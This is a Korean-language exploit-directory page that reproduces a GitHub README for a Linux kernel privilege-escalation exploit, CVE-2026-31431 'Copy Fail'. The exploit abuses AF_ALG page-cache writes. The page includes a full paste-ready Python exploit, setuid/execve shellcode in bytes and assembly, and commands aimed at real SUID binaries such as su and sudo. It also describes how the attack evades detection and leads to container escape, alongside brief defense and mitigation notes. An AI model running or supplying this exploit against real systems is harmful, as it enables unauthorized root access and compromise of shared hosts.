Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 복사 실패 — 범용 LPE 익스플로잇. 동적 ELF 오프셋 + 전체 바이너리 덮어쓰기, ctypes splice 폴백과 함께 Python 2/3 호환 | Kitploit
도구/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Privilege EscalationContainer SecurityExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 복사 실패 — 범용 LPE 익스플로잇. 동적 ELF 오프셋 + 전체 바이너리 덮어쓰기, ctypes splice 폴백과 함께 Python 2/3 호환

저장소 보기
57133개월 전Kitploit 검토 완료

CVE-2026-31431 "Copy Fail" — 범용 LPE 익스플로잇

Linux 커널 페이지 캐시 4바이트 임의 쓰기 → 로컬 권한 상승

여러 익스플로잇 접근 방식: 동적 ELF 엔트리 포인트 덮어쓰기, 전체 바이너리 교체, ctypes splice 폴백을 지원하는 Python 3.x 호환.

이것은 무엇인가?

CVE-2026-31431은 Linux 커널의 AF_ALG 암호화 서브시스템의 취약점입니다. splice() + authencesn 제자리 복호화를 남용함으로써, 권한이 없는 사용자가 커널의 페이지 캐시 — 모든 파일 기반 메모리에 사용되는 동일한 캐시 — 의 임의 오프셋에 4바이트를 쓸 수 있습니다.

이는 다음을 의미합니다:

  • 레이스 컨디션 없음 — 단일 스레드, 결정적
  • 특별한 권한 없음 — 기본 Docker 컨테이너 내부에서 작동 (seccomp가 AF_ALG 허용)
  • 커널 버전 의존성 없음 — 2017년부터 현재까지 모든 커널에 영향
  • 메모리의 파일만 수정 — 디스크는 건드리지 않으며, 재부팅 시 모든 흔적 삭제

익스플로잇 접근 방식

이 저장소는 동일한 AF_ALG copy-fall 프리미티브를 사용하는 세 가지 도구를 제공합니다:

동적 엔트리 포인트전체 바이너리 교체취약점 검사기
파일exploit.pypoc_compatible.pycheck_cve.sh
전략ELF 엔트리 포인트를 셸코드로 덮어씀오프셋 0부터 전체 바이너리 교체대상이 취약한지 테스트
대상모든 x86_64 SUID 바이너리모든 바이너리 (SUID 여부 무관)해당 없음
Python3.x (모든 버전)2 / 3Bash
페이로드36바이트 셸코드zlib 압축 전체 ELF해당 없음
작성자본 작업h4ppy7reeh4ppy7ree

동적 엔트리 포인트 — 런타임에 ELF 헤더를 파싱하여 엔트리 포인트 파일 오프셋(p_offset + (e_entry - p_vaddr))을 계산한 다음, 작은 셸코드 스텁을 씁니다. 하드코딩된 오프셋 없음 — 배포판이나 버전에 관계없이 모든 x86_64 SUID 바이너리에서 작동하는 단일 스크립트.

전체 바이너리 교체 — 오프셋 0부터 완전히 사전 빌드된 ELF 페이로드(zlib 압축 및 스크립트에 내장)로 대상을 덮어씁니다. 권한 있는 프로세스(cron 작업, systemd 서비스, kube-proxy)가 실행하는 비-SUID 바이너리를 대상으로 할 수 있습니다. Python 2에서 작동.

취약점 검사기 — 익스플로잇을 실행하기 전에 대상 시스템에 AF_ALG, authencesn, algif_aead가 있는지 테스트합니다.

빠른 시작

사전 요구 사항

  • Linux 커널 (약 2017년 이후 모든 버전)
  • Python 3.x (exploit.py용; Python 2는 poc_compatible.py로 지원)
  • 모든 SUID-root 바이너리 (/usr/bin/su, /usr/bin/sudo 등)

원라이너 재현

root@kitploit:~
# 권한 없는 사용자로 테스트 컨테이너 생성
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

그런 다음 컨테이너 내부에서 testuser로:

root@kitploit:~
# 실행 전: 실제 uid가 0이 아니므로 setuid(0) 실패
/usr/local/bin/verify
# uid=1000 euid=0
# (정상 종료, root 없음)

# 익스플로잇 실행
python3 exploit.py /usr/local/bin/verify

# 실행 후: 엔트리 포인트 덮어쓰기, 셸코드가 root 획득
# uid=0(root) gid=1000(testuser)

원라이너 (파일 전송 불필요)

실제 시나리오에서는 종종 원시 셸만 있을 뿐 — scp, curl, wget이 없습니다. 이 방법은 cat heredoc을 사용하여 터미널에 직접 익스플로잇을 작성합니다:

root@kitploit:~
# 옵션 1: 셸 스크립트 실행
sh exploit-one-liner.sh /usr/local/bin/verify

# 옵션 2: 터미널에 직접 붙여넣기 (전체 블록 복사)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

이것이 중요한 이유: 컨테이너 환경에는 파일 전송 도구(scp, curl, wget)가 없는 경우가 많습니다. heredoc 방식은 cat과 python3만 있으면 됩니다 — 어디에나 있습니다.

다른 SUID 바이너리 대상 지정

/usr/local/bin/verify를 모든 SUID-root 바이너리로 교체할 수 있습니다:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ 경고: 시스템 SUID 바이너리(예: /usr/bin/su)를 대상으로 하면 시스템의 모든 사용자에게 영향을 미칩니다. 페이지 캐시가 지워질 때까지 바이너리를 사용할 수 없게 됩니다. 호스트 머신에서 su를 실행하는 모든 사용자가 root 셸을 얻을 수 있습니다.

공유/프로덕션 시스템에서는 즉시 눈에 띕니다 — su가 충돌하거나 모든 사용자에게 예기치 않은 셸을 생성합니다. 안전한 테스트에는 verify.c를 사용하세요.

복구

익스플로잇은 페이지 캐시(메모리)만 수정하며 디스크는 수정하지 않습니다. 복구 옵션:

root@kitploit:~
# 호스트에서 (컨테이너 테스트 후):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# 복구 확인:
xxd -l 8 /usr/bin/su
# 표시되어야 함: 7f45 4c46 (.ELF)

참고: 기본(비권한) 컨테이너 내부에서는 echo 3 > /proc/sys/vm/drop_caches가 Read-only file system 오류로 실패합니다 — 호스트 접근 또는 컨테이너 삭제가 필요합니다.

공격 표면

작동 원리

취약점

커널의 authencesn AEAD 알고리즘에는 제자리 복호화 경로에 버그가 있습니다:

  1. 사용자가 authencesn(hmac(sha256), cbc(aes))로 AF_ALG 소켓을 생성
  2. 사용자가 splice()를 호출하여 파일 데이터를 암호화 소켓에 공급 — 이는 페이지 캐시 페이지를 커널의 scatterlist에 직접 매핑
  3. 복호화 중에 authencesn이 인증 태그 뒤에 4바이트의 seqno_lo를 씁니다
  4. 연관 데이터 길이와 IV 레이아웃을 제어함으로써 공격자는 해당 4바이트가 어디에 도달할지 제어

결과: 페이지 캐시 파일에 대한 4바이트 임의 쓰기.

익스플로잇

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  ELF 바이너리 (/usr/bin/su)                          │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF 헤더  │  e_entry = 0x4013f0          │
│          │           │  ← 동적으로 파싱              │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← 계산된 파일 오프셋         │
│          │ 원본 코드 │                               │
│          │           │  ─── copy fall 쓰기 ───→     │
│          │ 셸코드    │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

커널이 SUID 바이너리를 로드할 때 euid=0을 설정한 다음 엔트리 포인트로 점프합니다.
엔트리 포인트는 이제 우리의 셸코드 → setuid(0) 성공 → root 셸.

셸코드

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; null 종결자
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; 파일 이름
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36바이트, 9회의 copy-fall 쓰기(각 4바이트).

이것이 중요한 이유

컨테이너 보안

기본 Docker 컨테이너는 이 공격으로부터 보호되지 않습니다:

보호상태
Seccomp✅ AF_ALG 기본 허용
사용자 네임스페이스❌ 기본 Docker에서 사용되지 않음
AppArmor/SELinux❌ AF_ALG를 제한하지 않음
Capability 삭제❌ 특별한 cap 필요 없음

컨테이너 탈출을 막는 유일한 것은 overlayfs의 마운트별 페이지 캐시 격리입니다. 그러나 컨테이너 내부에서 root를 얻으면 표준 탈출 기술(cgroup release_agent, docker.sock, K8s serviceaccount 토큰, 클라우드 메타데이터)이 적용됩니다.

탐지 어려움

  • 디스크는 절대 수정되지 않음 — 페이지 캐시 쓰기는 메모리 전용
  • 새 파일 생성 없음 — 익스플로잇은 단일 Python 스크립트
  • 커널 모듈 로드 없음 — 순수 syscall 남용
  • 재부팅 시 모든 증거 삭제 — 페이지 캐시는 휘발성

영향받는 시스템

algif_aead 제자리 변환(약 2017년 병합) 이후의 모든 Linux 커널, 다음을 포함:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Docker 컨테이너 (기본 seccomp 프로필)
  • Kubernetes 파드 (기본 구성)
  • WSL2 (확인됨)

파일 구조

root@kitploit:~
.
├── exploit.py              # 동적 ELF 엔트리 포인트 덮어쓰기 (Python 3.x)
├── exploit-one-liner.sh    # 붙여넣기 친화적 버전 (파일 전송 불필요)
├── poc_compatible.py       # 오프셋 0부터 전체 ELF 바이너리 덮어쓰기 (Python 2/3, h4ppy7ree 작성)
├── poc_ctypes.py           # Python 3.0-3.9용 ctypes splice (h4ppy7ree 작성)
├── check_cve.sh            # 취약점 검사기 (h4ppy7ree 작성)
├── verify/
│   └── verify.c            # 테스트용 SUID 검증 프로그램
└── README.md               # 이 파일

방어

  • 커널 패치 적용 — 상류 수정 가능
  • Seccomp: AF_ALG 도메인 차단 (socket(AF_ALG, ...) → errno)
  • AppArmor: af_alg 소켓 생성 거부
  • 커널 강화: CONFIG_CRYPTO_USER_API_AEAD=n
  • 모니터링: socket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscall 감사

크레딧

  • 취약점 발견: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • 동적 오프셋 계산 및 범용 익스플로잇: 본 작업
  • 전체 바이너리 교체 접근 방식 및 취약점 검사기: h4ppy7ree (PR #1)

면책 조항

이 익스플로잇은 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 이 프로그램의 오용이나 손해에 대해 책임을 지지 않으며 책임이 없습니다.

라이선스

MIT

도구 다운로드
방법위치명령
페이지 캐시 삭제호스트 (root)echo 3 > /proc/sys/vm/drop_caches
재부팅어디서나reboot — 페이지 캐시는 휘발성
컨테이너 삭제어디서나docker rm — 페이지 캐시는 컨테이너와 함께 해제
벡터작동?세부 사항
LPE (로컬 사용자 → root)✅ 예SUID 바이너리 엔트리 포인트 덮어쓰기
컨테이너 탈출 (기본)❌ 아니요overlayfs 마운트별 페이지 캐시 격리
컨테이너 탈출 (호스트 쓰기)✅ 예호스트에서 /proc/PID/root/를 통해 쓰기
크로스 컨테이너 (호스트 쓰기)✅ 예동일 inode → 공유 하위 레이어 페이지 캐시